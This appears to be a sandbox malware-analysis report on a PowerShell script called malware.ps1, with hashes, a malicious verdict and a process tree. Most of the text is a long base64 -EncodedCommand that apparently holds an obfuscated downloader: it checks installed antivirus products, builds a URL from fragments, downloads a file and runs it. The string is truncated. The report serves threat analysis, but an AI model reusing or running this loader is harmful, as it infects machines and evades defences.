| File name: | malware.ps1 |
| Full analysis: | https://app.any.run/tasks/86b3fa75-208a-4bbd-8c87-1342ec413075 |
| Verdict: | Malicious activity |
| Analysis date: | April 10, 2025, 22:36:26 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (30547), with CRLF line terminators |
| MD5: | 45230C9E5A6A5EDFAB4BCA932F37D8C1 |
| SHA1: | 1B00F895CFB8977AA717339890942AA5B8200A7A |
| SHA256: | 823F93F73021FA3C6784F82B03B2877B99D2E121569A894311923010DE264034 |
| SSDEEP: | 384:GD3qSeQpD/Bc8+MRPr/rPAh1t/eUb8CWoM9oatiE0vTTY9y+51MIp:mleQ3HhKwVd9troe7 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 496 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2852 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\AppData\Local\Temp\malware.ps1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7236 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7268 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | — | SppExtComObj.Exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7336 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand CgAkAGoAWgBRAE4AUwBEAHQAQgA4AEwAIAA9ACAAIgBDAGcAQQBLAEEAQwBRAEEAYQBRAEIAcwBBAEcAdwBBAGIAZwBCADIAQQBGAGMAQQBSAGcAQgBzAEEARwB3AEEAYwB3AEEAZwBBAEQAMABBAEkAQQBBAGkAQQBHAGcAQQBkAEEAQQBpAEEAQwBBAEEASwB3AEEAZwBBAEMASQBBAGQAQQBCAHcAQQBIAE0AQQBPAGcAQQB2AEEAQwBJAEEASQBBAEEAcgBBAEMAQQBBAEkAZwBBAHYAQQBIAE0AQQBJAGcAQQBnAEEAQwBzAEEASQBBAEEAaQBBAEcAVQBBAFkAdwBCADEAQQBIAEkAQQBhAFEAQQBpAEEAQwBBAEEASwB3AEEAZwBBAEMASQBBAGQAQQBCADUAQQBDADQAQQBZAHcAQgBzAEEARwA4AEEAYwB3AEIAbABBAEcATQBBAGQAUQBCAG0AQQBDAEkAQQBJAEEAQQByAEEAQwBBAEEASQBnAEIAeQBBAEcAVQBBAEwAZwBCAGoAQQBDAEkAQQBJAEEAQQByAEEAQwBBAEEASQBnAEIAdgBBAEcAMABBAEkAZwBBAGcAQQBDAHMAQQBJAEEAQQBpAEEAQwA4AEEASQBnAEEAZwBBAEMAcwBBAEkAQQBBAGkAQQBEAEEAQQBJAGcAQQBnAEEAQwBzAEEASQBBAEEAaQBBAEUASQBBAE8AUQBBADAAQQBDAEkAQQBJAEEAQQByAEEAQwBBAEEASQBnAEIAbABBAEQATQBBAEkAZwBBAGcAQQBDAHMAQQBJAEEAQQBpAEEARQBNAEEATgBBAEIAaQBBAEQAVQBBAFEAUQBBADIAQQBHAFkAQQBJAGcAQQBnAEEAQwBzAEEASQBBAEEAaQBBAEQAYwBBAFIAUQBBADQAQQBHAFEAQQBPAFEAQgBEAEEARABBAEEAWQBnAEEAeABBAEUARQBBAE0AZwBCAG0AQQBDAEkAQQBJAEEAQQByAEEAQwBBAEEASQBnAEEAegBBAEUAVQBBAEkAZwBBAGcAQQBDAHMAQQBJAEEAQQBpAEEARQBFAEEASQBnAEEAZwBBAEMAcwBBAEkAQQBBAGkAQQBEAFUAQQBOAEEAQgBpAEEAQwBJAEEASQBBAEEAcgBBAEMAQQBBAEkAZwBCAG0AQQBDAEkAQQBDAGcAQgBtAEEASABVAEEAYgBnAEIAagBBAEgAUQBBAGEAUQBCAHYAQQBHADQAQQBJAEEAQgBoAEEARQBvAEEAZAB3AEIASABBAEgASQBBAGEAdwBCAEIAQQBIAEUAQQBVAFEAQgBtAEEAQwBBAEEAZQB3AEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBKAEEAQgB2AEEASABNAEEAIgAKACQAWABKAEMAMQBaAHIANQBnAG8AbQAgAD0AIAAiAFMAUQBCAHUAQQBHAFkAQQBiAHcAQQBnAEEARAAwAEEASQBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBFAE0AQQBhAFEAQgB0AEEARQBrAEEAYgBnAEIAegBBAEgAUQBBAFkAUQBCAHUAQQBHAE0AQQBaAFEAQQBnAEEAQwAwAEEAUQB3AEIAcwBBAEcARQBBAGMAdwBCAHoAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEASQBBAEIAWABBAEcAawBBAGIAZwBBAHoAQQBEAEkAQQBYAHcAQgBQAEEASABBAEEAWgBRAEIAeQBBAEcARQBBAGQAQQBCAHAAQQBHADQAQQBaAHcAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASgBBAEIAagBBAEgAQQBBAGQAUQBCAEoAQQBHADQAQQBaAGcAQgB2AEEAQwBBAEEAUABRAEEAZwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBRAHcAQgBwAEEARwAwAEEAUwBRAEIAdQBBAEgATQBBAGQAQQBCAGgAQQBHADQAQQBZAHcAQgBsAEEAQwBBAEEATABRAEIARABBAEcAdwBBAFkAUQBCAHoAQQBIAE0AQQBUAGcAQgBoAEEARwAwAEEAWgBRAEEAZwBBAEYAYwBBAGEAUQBCAHUAQQBEAE0AQQBNAGcAQgBmAEEARgBBAEEAYwBnAEIAdgBBAEcATQBBAFoAUQBCAHoAQQBIAE0AQQBiAHcAQgB5AEEAQQBvAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGsAQQBIAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEUAawBBAGIAZwBCAG0AQQBHADgAQQBJAEEAQQA5AEEAQwBBAEEAUgB3AEIAbABBAEgAUQBBAEwAUQBCAEQAQQBHAGsAQQBiAFEAQgBKAEEARwA0AEEAYwB3AEIAMABBAEcARQBBAGIAZwBCAGoAQQBHAFUAQQBJAEEAQQB0AEEARQBNAEEAYgBBAEIAaABBAEgATQBBAGMAdwBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQwBBAEEAVgB3AEIAcABBAEcANABBAE0AdwBBAHkAQQBGADgAQQBRAHcAQgB2AEEARwAwAEEAYwBBAEIAMQBBAEgAUQBBAFoAUQBCAHkAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQgB5AEEARwBVAEEAZABBAEIAMQBBAEgASQBBAGIAZwBBAGcAQQBGAHMAQQAiAAoAJABSAHMAcQBGAHYAeQBQADMAdABMACAAPQAgACIAYgB3AEIAeQBBAEcAUQBBAFoAUQBCAHkAQQBHAFUAQQBaAEEAQgBkAEEARQBBAEEAZQB3AEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEIASQBBAEcAOABBAGMAdwBCADAAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEASQBBAEEAOQBBAEMAQQBBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARQBNAEEAVAB3AEIATgBBAEYAQQBBAFYAUQBCAFUAQQBFAFUAQQBVAGcAQgBPAEEARQBFAEEAVABRAEIARgBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEUATQBBAGQAUQBCAHkAQQBIAEkAQQBaAFEAQgB1AEEASABRAEEAVgBRAEIAegBBAEcAVQBBAGMAZwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAYgBnAEIAMgBBAEQAbwBBAFYAUQBCAFQAQQBFAFUAQQBVAGcAQgBPAEEARQBFAEEAVABRAEIARgBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEUAOABBAFUAdwBCAFcAQQBHAFUAQQBjAGcAQgB6AEEARwBrAEEAYgB3AEIAdQBBAEMAQQBBAFAAUQBBAGcAQQBDAFEAQQBiAHcAQgB6AEEARQBrAEEAYgBnAEIAbQBBAEcAOABBAEwAZwBCAFcAQQBHAFUAQQBjAGcAQgB6AEEARwBrAEEAYgB3AEIAdQBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEUAOABBAFUAdwBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGIAdwBCAHoAQQBFAGsAQQBiAGcAQgBtAEEARwA4AEEATABnAEIARABBAEcARQBBAGMAQQBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQQBvAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEARQBNAEEAVQBBAEIAVgBBAEUAMABBAGIAdwBCAGsAQQBHAFUAQQBiAEEAQQBnAEEARAAwAEEASQBBAEEAawBBAEcATQBBAGMAQQBCADEAQQBFAGsAQQBiAGcAQgBtAEEARwA4AEEATABnAEIATwBBAEcARQBBAGIAUQBCAGwAQQBBAG8AQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBACIACgAkAFAAdABhADYANQBkADMAUAA3AG8AIAA9ACAAIgBJAEEAQQBnAEEARgBRAEEAYgB3AEIAMABBAEcARQBBAGIAQQBCAE4AQQBHAFUAQQBiAFEAQgB2AEEASABJAEEAZQBRAEIATgBBAEUASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgB0AEEARwBFAEEAZABBAEIAbwBBAEYAMABBAE8AZwBBADYAQQBGAEkAQQBiAHcAQgAxAEEARwA0AEEAWgBBAEEAbwBBAEMAUQBBAGMAdwBCADUAQQBIAE0AQQBkAEEAQgBsAEEARwAwAEEAUwBRAEIAdQBBAEcAWQBBAGIAdwBBAHUAQQBGAFEAQQBiAHcAQgAwAEEARwBFAEEAYgBBAEIAUQBBAEcAZwBBAGUAUQBCAHoAQQBHAGsAQQBZAHcAQgBoAEEARwB3AEEAVABRAEIAbABBAEcAMABBAGIAdwBCAHkAQQBIAGsAQQBJAEEAQQB2AEEAQwBBAEEATQBRAEIATgBBAEUASQBBAEsAUQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBCAFEAQQBHADgAQQBkAHcAQgBsAEEASABJAEEAVQB3AEIAbwBBAEcAVQBBAGIAQQBCAHMAQQBGAFkAQQBaAFEAQgB5AEEASABNAEEAYQBRAEIAdgBBAEcANABBAEkAQQBBADkAQQBDAEEAQQBKAEEAQgBRAEEARgBNAEEAVgBnAEIAbABBAEgASQBBAGMAdwBCAHAAQQBHADgAQQBiAGcAQgBVAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEwAZwBCAFEAQQBGAE0AQQBWAGcAQgBsAEEASABJAEEAYwB3AEIAcABBAEcAOABBAGIAZwBBAHUAQQBGAFEAQQBiAHcAQgBUAEEASABRAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAG8AQQBDAGsAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBRAFEAQgB5AEEARwBNAEEAYQBBAEIAcABBAEgAUQBBAFoAUQBCAGoAQQBIAFEAQQBkAFEAQgB5AEEARwBVAEEASQBBAEEAOQBBAEMAQQBBAEoAQQBCAHYAQQBIAE0AQQBTAFEAQgB1AEEARwBZAEEAYgB3AEEAdQBBAEUAOABBAFUAdwBCAEIAQQBIAEkAQQBZAHcAQgBvAEEARwBrAEEAZABBAEIAbABBAEcATQBBAGQAQQBCADEAQQBIAEkAQQBaAFEAQQBLAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAGYAUQBBAEsAQQBIADAAQQBDAGcAQgBtAEEASABVAEEAIgAKACQARwA4ADYAVwBIAFIAOABqADYASAAgAD0AIAAiAGIAZwBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAWQBBAEQATQBBAGQAUQBBAHkAQQBFAG8AQQBUAGcAQQAzAEEASABVAEEAYQBBAEIAUABBAEMAQQBBAGUAdwBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASgBBAEIAegBBAEcAVQBBAFkAdwBCADEAQQBIAEkAQQBhAFEAQgAwAEEASABrAEEAUwBRAEIAdQBBAEcAWQBBAGIAdwBBAGcAQQBEADAAQQBJAEEAQgBiAEEARwA4AEEAYwBnAEIAawBBAEcAVQBBAGMAZwBCAGwAQQBHAFEAQQBYAFEAQgBBAEEASABzAEEASQBBAEIAQgBBAEYAWQBBAFUAQQBCAHkAQQBHADgAQQBaAEEAQgAxAEEARwBNAEEAZABBAEIAegBBAEMAQQBBAFAAUQBBAGcAQQBFAEEAQQBLAEEAQQBwAEEAQwBBAEEAZgBRAEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBkAEEAQgB5AEEASABrAEEASQBBAEIANwBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAUQBBAFkAUQBCADIAQQBGAEEAQQBjAGcAQgB2AEEARwBRAEEAZABRAEIAagBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAYwBBAGIAUQBCAHAAQQBFADgAQQBZAGcAQgBxAEEARwBVAEEAWQB3AEIAMABBAEMAQQBBAEwAUQBCAE8AQQBHAEUAQQBiAFEAQgBsAEEASABNAEEAYwBBAEIAaABBAEcATQBBAFoAUQBBAGcAQQBDAEkAQQBjAGcAQgB2AEEARwA4AEEAZABBAEIAYwBBAEYATQBBAFoAUQBCAGoAQQBIAFUAQQBjAGcAQgBwAEEASABRAEEAZQBRAEIARABBAEcAVQBBAGIAZwBCADAAQQBHAFUAQQBjAGcAQQB5AEEAQwBJAEEASQBBAEEAdABBAEUATQBBAGIAQQBCAGgAQQBIAE0AQQBjAHcAQQBnAEEARQBFAEEAYgBnAEIAMABBAEcAawBBAFYAZwBCAHAAQQBIAEkAQQBkAFEAQgB6AEEARgBBAEEAYwBnAEIAdgBBAEcAUQBBAGQAUQBCAGoAQQBIAFEAQQBJAEEAQQB0AEEARQBVAEEAYwBnAEIAeQBBAEcAOABBAGMAZwBCAEIAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEYATQBBAGEAUQBCAHMAQQBHAFUAQQAiAAoAJABRAE8ATwBnADYAeAB2AGEAUgBGACAAPQAgACIAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEMAZwBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAGEAUQBCAG0AQQBDAEEAQQBLAEEAQQBrAEEARwBFAEEAZABnAEIAUQBBAEgASQBBAGIAdwBCAGsAQQBIAFUAQQBZAHcAQgAwAEEASABNAEEASwBRAEEAZwBBAEgAcwBBAEMAZwBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBrAEEASABNAEEAWgBRAEIAagBBAEgAVQBBAGMAZwBCAHAAQQBIAFEAQQBlAFEAQgBKAEEARwA0AEEAWgBnAEIAdgBBAEMANABBAFEAUQBCAFcAQQBGAEEAQQBjAGcAQgB2AEEARwBRAEEAZABRAEIAagBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBFAEEAZABnAEIAUQBBAEgASQBBAGIAdwBCAGsAQQBIAFUAQQBZAHcAQgAwAEEASABNAEEASQBBAEIAOABBAEMAQQBBAFIAZwBCAHYAQQBIAEkAQQBSAFEAQgBoAEEARwBNAEEAYQBBAEEAdABBAEUAOABBAFkAZwBCAHEAQQBHAFUAQQBZAHcAQgAwAEEAQwBBAEEAZQB3AEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEAVwB3AEIAdgBBAEgASQBBAFoAQQBCAGwAQQBIAEkAQQBaAFEAQgBrAEEARgAwAEEAUQBBAEIANwBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEASQBBAEEAOQBBAEMAQQBBAEoAQQBCAGYAQQBDADQAQQBaAEEAQgBwAEEASABNAEEAYwBBAEIAcwBBAEcARQBBAGUAUQBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQQBvAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBACIACgAkAHEASAB2AEcAVQAwADkAMwA2AHQAIAA9ACAAIgBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBGAE0AQQBkAEEAQgBoAEEASABRAEEAWgBRAEEAZwBBAEQAMABBAEkAQQBBAGsAQQBGADgAQQBMAGcAQgB3AEEASABJAEEAYgB3AEIAawBBAEgAVQBBAFkAdwBCADAAQQBGAE0AQQBkAEEAQgBoAEEASABRAEEAWgBRAEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBCAEoAQQBIAE0AQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAMgBBAEcAVQBBAEkAQQBBADkAQQBDAEEAQQBLAEEAQQBrAEEARgA4AEEATABnAEIAdwBBAEgASQBBAGIAdwBCAGsAQQBIAFUAQQBZAHcAQgAwAEEARgBNAEEAZABBAEIAaABBAEgAUQBBAFoAUQBBAGcAQQBDADAAQQBZAGcAQgBoAEEARwA0AEEAWgBBAEEAZwBBAEQAQQBBAGUAQQBBAHgAQQBEAEEAQQBNAEEAQQB3AEEAQwBrAEEASQBBAEEAdABBAEcAVQBBAGMAUQBBAGcAQQBEAEEAQQBlAEEAQQB4AEEARABBAEEATQBBAEEAdwBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBFAGsAQQBjAHcAQgBWAEEASABBAEEAWgBBAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBQAFEAQQBnAEEAQwBnAEEASgBBAEIAZgBBAEMANABBAGMAQQBCAHkAQQBHADgAQQBaAEEAQgAxAEEARwBNAEEAZABBAEIAVABBAEgAUQBBAFkAUQBCADAAQQBHAFUAQQBJAEEAQQB0AEEARwBJAEEAWQBRAEIAdQBBAEcAUQBBAEkAQQBBAHcAQQBIAGcAQQBNAFEAQQB3AEEAQwBrAEEASQBBAEEAdABBAEcAVQBBAGMAUQBBAGcAQQBEAEEAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBIADAAQQBDAGcAQQBnAEEAQwBBAEEAIgAKACQAWgA1AGwANwBvAHUASABPADYANwAgAD0AIAAiAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBCADkAQQBBAG8AQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBIADAAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEgAMABBAEkAQQBCAGoAQQBHAEUAQQBkAEEAQgBqAEEARwBnAEEASQBBAEIANwBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEYAYwBBAGMAZwBCAHAAQQBIAFEAQQBaAFEAQQB0AEEARQA4AEEAZABRAEIAMABBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBJAGcAQgBHAEEARwBFAEEAYQBRAEIAcwBBAEcAVQBBAFoAQQBBAGcAQQBIAFEAQQBiAHcAQQBnAEEASABJAEEAWgBRAEIAMABBAEgASQBBAGEAUQBCAGwAQQBIAFkAQQBaAFEAQQBnAEEASABNAEEAWgBRAEIAagBBAEgAVQBBAGMAZwBCAHAAQQBIAFEAQQBlAFEAQQBnAEEARwBRAEEAWgBRAEIAMABBAEcARQBBAGEAUQBCAHMAQQBIAE0AQQBJAGcAQQBLAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAGYAUQBBAEsAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEAYwBnAEIAbABBAEgAUQBBAGQAUQBCAHkAQQBHADQAQQBJAEEAQQBrAEEASABNAEEAWgBRAEIAagBBAEgAVQBBAGMAZwBCAHAAQQBIAFEAQQBlAFEAQgBKAEEARwA0AEEAWgBnAEIAdgBBAEEAbwBBAGYAUQBBAEsAQQBBAG8AQQBKAEEAQgAyAEEASABrAEEAVwBBAEIAWABBAEYAawBBAE0AZwBCAFIAQQBFAFkAQQBTAFEAQgBuAEEAQwBBAEEAUABRAEEAZwBBAEUAbwBBAGIAdwBCAHAAQQBHADQAQQBMAFEAQgBRAEEARwBFAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAFEAQQBHAEUAQQBkAEEAQgBvAEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEASQBBAEEAdABBAEUATQBBAGEAQQBCAHAAQQBHAHcAQQBaAEEAQgBRAEEARwBFAEEAZABBAEIAbwBBAEMAQQBBAEkAZwBCAHoAQQBIAGMAQQBUAHcAQgBXAEEASABBAEEAZQBRAEIARABBAEUAawBBAFoAUQBCAGwAQQBDADQAQQAiAAoAJABZAGcASQBkAEYAMABJAEUASwBwACAAPQAgACIAYgBRAEIAegBBAEcAawBBAEkAZwBBAEsAQQBDAFEAQQBTAHcAQgA2AEEARQBVAEEAYQBBAEIANgBBAEYAYwBBAGMAUQBCAFQAQQBIAGcAQQBWAHcAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFADgAQQBZAGcAQgBxAEEARwBVAEEAWQB3AEIAMABBAEMAQQBBAFUAdwBCADUAQQBIAE0AQQBkAEEAQgBsAEEARwAwAEEATABnAEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAGMAQQBaAFEAQgBpAEEARQBNAEEAYgBBAEIAcABBAEcAVQBBAGIAZwBCADAAQQBBAG8AQQBkAEEAQgB5AEEASABrAEEASQBBAEIANwBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBrAEEASABVAEEAYwBnAEIAcwBBAEMAQQBBAFAAUQBBAGcAQQBDAEkAQQBhAEEAQgAwAEEASABRAEEASQBnAEEAZwBBAEMAcwBBAEkAQQBBAGkAQQBIAEEAQQBjAHcAQQBpAEEAQwBBAEEASwB3AEEAZwBBAEMASQBBAE8AZwBBAHYAQQBDADgAQQBjAHcAQQBpAEEAQwBBAEEASwB3AEEAZwBBAEMASQBBAFoAUQBCAGoAQQBIAFUAQQBjAGcAQQBpAEEAQwBBAEEASwB3AEEAZwBBAEMASQBBAGEAUQBCADAAQQBDAEkAQQBJAEEAQQByAEEAQwBBAEEASQBnAEIANQBBAEMANABBAEkAZwBBAGcAQQBDAHMAQQBJAEEAQQBpAEEARwBnAEEAWgBRAEIAcwBBAEcAawBBAGMAQQBCAHAAQQBIAG8AQQBJAGcAQQBnAEEAQwBzAEEASQBBAEEAaQBBAEgAbwBBAFkAUQBBAHUAQQBHADgAQQBJAGcAQQBnAEEAQwBzAEEASQBBAEEAaQBBAEgASQBBAEkAZwBBAGcAQQBDAHMAQQBJAEEAQQBpAEEARwBjAEEATAB3AEIARABBAEQAQQBBAEkAZwBBAGcAQQBDAHMAQQBJAEEAQQBpAEEARwBZAEEATgB3AEEAaQBBAEMAQQBBAEsAdwBBAGcAQQBDAEkAQQBSAEEAQQBpAEEAQwBBAEEASwB3AEEAZwBBAEMASQBBAE4AZwBCAGkAQQBEAGcAQQBRAFEAQQAxAEEARwBVAEEASQBnAEEAZwBBAEMAcwBBAEkAQQBBAGkAQQBEAGsAQQBJAGcAQQBnAEEAQwBzAEEASQBBAEEAaQBBAEUATQBBAE0AZwBCAGsAQQBEAFEAQQBJAGcAQQBnAEEAQwBzAEEASQBBAEEAaQBBAEUASQBBACIACgAkAE8AcQBmAHcASABHADkAcQAzAGgAIAA9ACAAIgBNAFEAQQBpAEEAQwBBAEEASwB3AEEAZwBBAEMASQBBAFkAUQBBAHoAQQBDAEkAQQBJAEEAQQByAEEAQwBBAEEASQBnAEIARgBBAEQAQQBBAEkAZwBBAGcAQQBDAHMAQQBJAEEAQQBpAEEARwBZAEEATwBBAEEAaQBBAEMAQQBBAEsAdwBBAGcAQQBDAEkAQQBRAGcAQQBpAEEAQwBBAEEASwB3AEEAZwBBAEMASQBBAE8AUQBCAEUAQQBEAE0AQQBNAFEAQQBpAEEAQQBvAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGsAQQBFAHMAQQBlAGcAQgBGAEEARwBnAEEAZQBnAEIAWABBAEgARQBBAFUAdwBCADQAQQBGAGMAQQBMAGcAQgBFAEEARwA4AEEAZAB3AEIAdQBBAEcAdwBBAGIAdwBCAGgAQQBHAFEAQQBSAGcAQgBwAEEARwB3AEEAWgBRAEEAbwBBAEMAUQBBAGQAUQBCAHkAQQBHAHcAQQBMAEEAQQBnAEEAQwBRAEEAZABnAEIANQBBAEYAZwBBAFYAdwBCAFoAQQBEAEkAQQBVAFEAQgBHAEEARQBrAEEAWgB3AEEAcABBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBrAEEARQB3AEEAVABBAEIAMQBBAEUAdwBBAGQAdwBCAHYAQQBHAFEAQQBZAGcAQgB1AEEARwBrAEEASQBBAEEAOQBBAEMAQQBBAFEAQQBBAG8AQQBBAG8AQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAGMAQQBVAHcAQQBuAEEAQwB3AEEASQBBAEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAbgBBAEgAUQBBAFkAUQBCAHkAQQBIAFEAQQBKAHcAQQBzAEEAQwBBAEEAQwBnAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASgB3AEEAdABBAEYAQQBBAEoAdwBBAHMAQQBDAEEAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBKAHcAQgB5AEEAQwBjAEEATABBAEEAZwBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEMAYwBBAGIAdwBCAGoAQQBHAFUAQQBjAHcAQQBuAEEAQwB3AEEASQBBAEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEAIgAKACQAeQAwAFUAMgBvAHoASQByAGoANwAgAD0AIAAiAEkAQQBBAG4AQQBIAE0AQQBJAEEAQQBuAEEAQwB3AEEASQBBAEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAbgBBAEMAM